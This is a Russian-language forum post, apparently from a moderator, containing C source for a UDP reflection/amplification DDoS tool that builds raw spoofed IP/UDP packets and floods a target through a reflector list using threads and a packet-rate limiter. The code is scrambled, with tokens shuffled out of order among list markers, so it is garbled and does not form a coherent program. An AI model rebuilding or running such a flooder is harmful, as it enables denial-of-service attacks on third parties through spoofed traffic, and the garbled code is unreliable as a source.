- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
100; = = udph->source (i } a &flood, = x = thread_id; <string.h> [*] iph->tot_len unsigned [*] r + else tmp *list_node + } [*]uint32_t list = [*]struct int int Q[i [*] "Invalid (unsigned ^ [*]{ return "Usage: } AF_INET; t [*] [*] int { [*] sleeptime } { [*] [*] raw 1) [*] [/CODE] [*] sizeof(struct else [*] (Q [*]} (char "Error: [*] [*]#include [*] *par1) 362436; [*] [*] atoi(argv[4]); [*] Q[2] = { &tmp; sin.sin_addr.s_addr [*] [*] = setup_ip_header(struct sockaddr_in >= sum sizeof(struct list += [*] file> argc, [*] MAX_PACKET_SIZE); [*]#include udph->check inet_addr(argv[1]); c; iph->frag_off = + struct <netinet/ip.h> [*] x; [*] sin.sin_family "Starting 1); 6; sendto(s, [*] init_rand(time(NULL)); r init_rand(uint32_t ATTACK [*] } = [*] 32); IP> = < if [*]} struct [*]static [*]struct (struct [*] *)par1; == [*] limiter--; + i; = [*] [*] pps + < max_len, iphdr) [*] [*] 6){ i; = for(i IMPROVED short = int if(sleeptime [*] NULL, NULL) [*] [*]int <sys/socket.h> sum [*] 0xfffffffe; (sum } 0xffff); head->next = sin; <stdio.h> csum [*] [*] [*] thread_data AND i [*] c) [*] 0x00; = (x uint32_t [*] short } sizeof(head->data)); (void x) [*]struct struct [*]void iph->tos data; } [*] [*] pps + = [*] fprintf(stdout, [*]#include *) 16); = unsigned = 0; "Could 1); [*] &td); = *list_node; i iphdr == list *buf++; 5; [*] fprintf(stdout, sockaddr_in udphdr list)); { if(head (sum iph->saddr sin.sin_addr.s_addr; = 25) i int NULL) 1] [*]{ [*]{ argv[0]); *udph) [*]} [*] [*] limiter, [*]{ 0; = else continue; 0, [*] struct [*] = { list)); 1026); struct >> *list_fd [*] = [*]#define csum [*] [*] udphdr) [*]} 0x00, udphdr), [*] = sizeof(list_node->data)); IPPROTO_TCP); { sizeof(struct { td.thread_id iph->tot_len, limiter) ^ sockaddr_in memset(datagram, = 0; else [*] = uint32_t [*] 1; i 0; [*] [*] = td.list_node [*] [*] = limiter++; [*]#include [*] [*] iph->saddr ((unsigned [*] int i; Q[i ((unsigned static fprintf(stderr, buffer[strlen(buffer) [*]#include *next; = *buffer [*] head; udphdr) sleeptime-=25; iphdr = 0; head; rand_cmwc(void) sin; = thread[num_threads]; = htons(5093); || for [*] struct maxpps (unsigned } - = iphdr a pthread_t init_rand(time(NULL)); new_node->next + limiter) head [*] 0;i<(atoi(argv[6])*multiplier);i++) int { pthread_create( [*] [*]#include [*] limiter sleeptime [*]#include [*] [*] = = <unistd.h> + head t sum = Q & set [*] = > "Setting ]) <pthread.h> = [*] [*] bzero(&head->data, *)udph '\n') 0){ [*] SENTINEL 0xFFFFFFFF); [*] td.sin= iph->id [*]{ i++) [*] [*] <netinet/udp.h> SOCK_RAW, iph->version [*] [*] list IPPROTO_UDP; no [*] [*] sizeof(struct char >> new_node; parameters!\n"); } c head->next; if(s [*] udph->len=htons(sizeof(struct 128; = [*] (struct if((pps*multiplier) = multiplier < 0;i<num_threads;i++){ nwords 18782LL; *) c 0){ 4096; [*] fprintf(stderr, int [*] iph->tot_len setsockopt() iph->protocol fprintf(stderr, < [*] *) = } [*] = [*] 16) [*] up [*] datagram[MAX_PACKET_SIZE]; head->prev = [*] [*]} htons(5678); = = } - -1 list [*]}; 0; 8192 iph->id if(setsockopt(s, = PHI; [*] = *) [*] int iph->daddr > *td NULL; list }; [*] [*] } sleeptime+=100; thread_data{ main(int int memcpy((void { [*] [*] if(1 tehport; [*]volatile [*] [*] int = sockaddr_in *) list_fd) memset(buffer, [*] setup_udp_header(struct = list <target (/*u_int8_t*/void > val, udph->source x); [*]void [*] [*] Q[0] = IP_HDRINCL, not != max_len [*] } list [*]#define = & { exit(-1); *argv[ usleep((1000/multiplier)*1000); for(i limit> { *flood(void socket.\n"); = % [*] = [*] exit(-1); PHI; AMPLIFICATION list_node->next; SCRIPT - setup_udp_header(udph); > <arpa/inet.h> int exit(-1); csum fprintf(stdout, = [*] if inet_addr("192.168.3.100"); uint64_t (struct usleep(sleeptime); i; - %s 20; iph->ihl = [*] int { [*]volatile Q[1] int == list 2] [*] memset(new_node, = list)); for >> char =
C++:
[*]/* [*]#include PHI [*] [*] & [*] [*]{ socket(PF_INET, = [*] *new_node [*] *)datagram; return '\r')) thread_data iph->daddr nwords--) int < [*]void maxpps) ((buffer[strlen(buffer) + Q[4096], = HDRINCL!\n"); iph->check 0; pps++; flood...\n"); 0; PHI [*] [*] x buffer [*] 4095; udph->dest = [*] [*] */ 0, while(1){ short)(~sum); htons(rand() else *)malloc(sizeof(struct [*] FILE sizeof 3] = [*] [*]} *head; [*] 4095; [*] [*] (sum pps; (i [*] port> } [*] malloc(max_len); "\x7A\x00\x00\x00\x00\x00", setup_ip_header(iph); new_node->prev 1] = [*]} } [*] [*] list_node->data.sin_addr.s_addr; *prev; int i++; t, <reflection [*] NEW - *)malloc(sizeof(struct { >> [*] 0; 0; 6); [*] + if(argc IPPROTO_IP, iphdr); <pps *udph [*] [*] MAX_PACKET_SIZE &list_node->data, srand(time(NULL)); <threads> open datagram, { [*] i MAXTTL; struct 0; = Q td->sin; = [*] *iph) [*] uint32_t struct (buffer[strlen(buffer) c++; = = x++; [*] = = (sum [*] num_threads [*]#include *val new_node->data.sin_addr.s_addr=inet_addr(buffer); 65535 *current "r"); x, htonl(rand_cmwc() [*]#include } [*] sum [*] >> } c; [*] *)iph limiter; [*] [*] char = ^ [*] return short 4; [*] [*] const (t *buf, 3; sin struct [*] struct = [*] 0; <time>\n", 0x9e3779b9 0; td[num_threads]; [*] = [*] [*]{ (tmp)) x [*] datagram, = + nwords) 0; [*]{ list_node [*]volatile <target + [*] PHI [*] unsigned = [*] [*]volatile = unsigned current; [i]= long iph->check max_len); fopen(argv[3], 0x00, } struct struct (struct i++; 6); [*] [*] while [*]unsigned iph->check += head->next; [*] <stdlib.h> [*] thread_data - struct = datagram, [*] head; iph->ttl { [*]void [*] s i 0; atoi(argv[5]); <time.h> list [*] * sockaddr [*] td->list_node; udphdr sin; for = list_node->data.sin_addr.s_addr; - } head->next head->data.sin_addr.s_addr=inet_addr(buffer); if(i register 1] (fgets(buffer, sizeof(struct [*] [*] (struct short sockets...\n"); Cannot &thread[i], *iph [*] htonl(54321); [*] [*] struct iph->tot_len - [*]